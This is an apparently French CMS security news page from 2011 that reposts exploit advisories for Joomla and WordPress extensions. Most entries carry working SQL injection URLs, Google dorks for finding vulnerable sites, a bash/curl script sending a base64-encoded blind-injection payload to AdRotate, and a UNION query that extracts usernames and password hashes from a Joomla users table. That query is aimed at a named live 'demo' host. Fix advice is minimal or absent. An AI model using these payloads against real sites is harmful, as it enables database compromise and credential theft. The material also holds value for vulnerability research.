Actualités Joomla,Wordpress et Drupal
Actualités sur la sécurité des CMS Joomla, Wordpress et Drupal.
08 Décembre 2011
############################################################################
# Exploit Title: *QContacts 1.0.6 (Joomla component) SQL injection*
# Google Dork: inurl:"/components/com_qcontacts/"
# Date: Decembar/08/2011
# Author: Don (BalcanCrew & BalcanHack)
# Software Link: *
http://www.latenight-coding.com/joomla-addons/qcontacts.html*
# Version: 1.0.6
# Tested on: Apache
############################################################################
Vulnerability:
This vulnerability affects /index.php
*
/index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts
*
How to fix this vulnerability:
*Filter metacharacters from user input.*
*~Don 2011*
02 Décembre 2011
[~] Joomla Component Jobprofile (com_jobprofile) SQL Injection Vulnerability
[~] Author : kaMtiEz ( Cette adresse e-mail est protégée contre les robots des spammeurs, vous devez activer Javascript pour la voir. )
[~] Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id
[~] Date : 2 Dec , 2011
[ Software Information ]
[+] Vendor : http://www.thakkertech.com/
[+] INFO : http://extensions.joomla.org/extensions/ads-a-affiliates/jobs-a-recruitment/11924
[+] Download : http://www.thakkertech.com/products/joomla-extensions/components/jobprofile-joomla-component-detail.html
[+] Version : null / 1.0 maybe :D
[+] Price : 25,00 €
[+] Vulnerability : SQL INJECTION
[+] Dork : "think it :D"
[+] LOCATION : – INDONESIA -
19 Novembre 2011
######################################################
# Exploit Title: WordPress jetpack plugin SQL Injection Vulnerability
# Date: 2011-19-11
# Author: longrifle0x
# software: Wordpress
# Download:http://wordpress.org/extend/plugins/jetpack/
# Tools: SQLMAP
######################################################
*DESCRIPTION
Discovered a vulnerability in jetpack, Wordpress Plugin,
vulnerability is SQL injection.
File:wp-content/plugins/jetpack/modules/sharedaddy.php
Exploit: id=-1; or 1=if
*Exploitation*http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php
[GET][id=-1][CURRENT_USER()http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php
[GET][id=-1][SELECT(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)
http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php
[GET][id=-1][MID((VERSION()),1,6)
17 Novembre 2011
# Exploit Title: WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability
# Date: 2011-11-8
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip
# Version: 3.6.6 (tested)
# Note: parameter $_GET["track"] has to be Base64 encoded
---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj
e.g.
#!/bin/bash
payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"
encoded='echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" | base64 -w 0'
curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded
---------------
Vulnerable code
---------------
if(isset($_GET['track']) OR $_GET['track'] != '') {
$meta = base64_decode($_GET['track']);
...
list($ad, $group, $block) = explode("-", $meta);
...
$bannerurl = $wpdb->get_var($wpdb->prepare("SELECT 'link' FROM '".$prefix."adrotate' WHERE 'id' = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare()
17 Novembre 2011
/*
------------------------------------------------------------------------
Wordpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit
------------------------------------------------------------------------
author...............: Egidio Romano aka EgiX
mail.................: n0b0d13s[at]gmail[dot]com
software link........: http://wordpress.org/extend/plugins/zingiri-web-shop/
affected versions....: from 0.9.12 to 2.2.3
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
17 Novembre 2011
============================================================
FOREGROUND SECURITY, SECURITY ADVISORY 2011-003
- Original release date: Nomvember 9, 2011
- Discovered by: Jose Carlos de Arriba (Sr Security Analyst at Foreground Security)
- Contact: (jcarriba (at) foregroundsecurity (dot) com, dade (at) painsec (dot) com)
- Twitter: @jcarriba
- Severity: 4.3/10 (Base CVSS Score)
============================================================
I. VULNERABILITY
-------------------------
Joomla ALFContact 1.9.3 Extension Multiple Cross-Site Scripting (XSS) vulnerabilities - (prior versions have not been checked but could be vulnerable too).
08 Novembre 2011
######################################################
# Exploit Title: WordPress WP Glossary plugin SQL Injection Vulnerability
# Date: 2011-30-10
# Author: longrifle0x
# software: Wordpress
# Download: http://wordpress.org/extend/plugins/wp-glossary/
# Tools: SQLMAP
######################################################
*DESCRIPTIONDiscovered a vulnerability in WP Glossary, Wordpress Plugin,
vulnerability is SQL injection.
File: wp-content/plugins/wp-glossary/ajax.php
Exploit: id=-1; or 1=if
*Exploitation*
http://localhost:80/wp-content/plugins/wp-glossary/ajax.php
[GET][id=-1][CURRENT_USER()
http://localhost:80/wp-content/plugins/wp-glossary/ajax.php
[GET][id=-1][SELECT
(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT
0,1)='Y') THEN 1 ELSE 0 END)
http://localhost:80/
wp-content/plugins/wp-glossary/ajax.php [GET][id=-1][MID((VERSION()),1,6)
08 Novembre 2011
[~] Joomla Component Alameda (com_alameda) SQL Injection Vulnerability
[~] Author : kaMtiEz (
Cette adresse e-mail est protégée contre les robots des spammeurs, vous devez activer Javascript pour la voir.
)
[~] Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id
[~] Date : 1 Nov , 2011
[ Software Information ]
[+] Vendor : http://www.blueflyingfish.com/alameda/
[+] INFO : http://extensions.joomla.org/extensions/e-commerce/e-commerce-bridges/18018
[+] Download : http://www.blueflyingfish.com/alameda/index.php?option=com_content&view=article&id=3
[+] version : 1.0
[+] Vulnerability : SQL INJECTION
[+] Dork : "CiHuY"
[+] LOCATION : - INDONESIA -
[ Vulnerable File ]
http://127.0.0.1/[kaMtiEz]/index.php?option=com_alameda&controller=comments&task=edit&storeid=1[SQL]
[ XpL ]
http://127.0.0.1/[kaMtiEz]/index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users--
[ Demo ]
http://www.blueflyingfish.com/alameda/index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users--
[ FIX ]
dunno :">
Plus d'articles...
- Wordpress BackWPUp execute local or remote code vulnerability
- WP Photo Album Plus SQL Injection Vulnerability
- WordPress Contact Form 2.7.5 SQL Injection Vulnerability
- WordPress GD Star Rating plugin 1.9.10 SQL Injection Vulnerability
- WordPress wpsf-js plugin SQL Injection
- Joomla Component (com_br) SQL Injection Vulnerability
- Joomla Component (com_expedition) SQL Injection Vulnerability
- Joomla Barter Site (com_listing) Multiple Vulnerabilites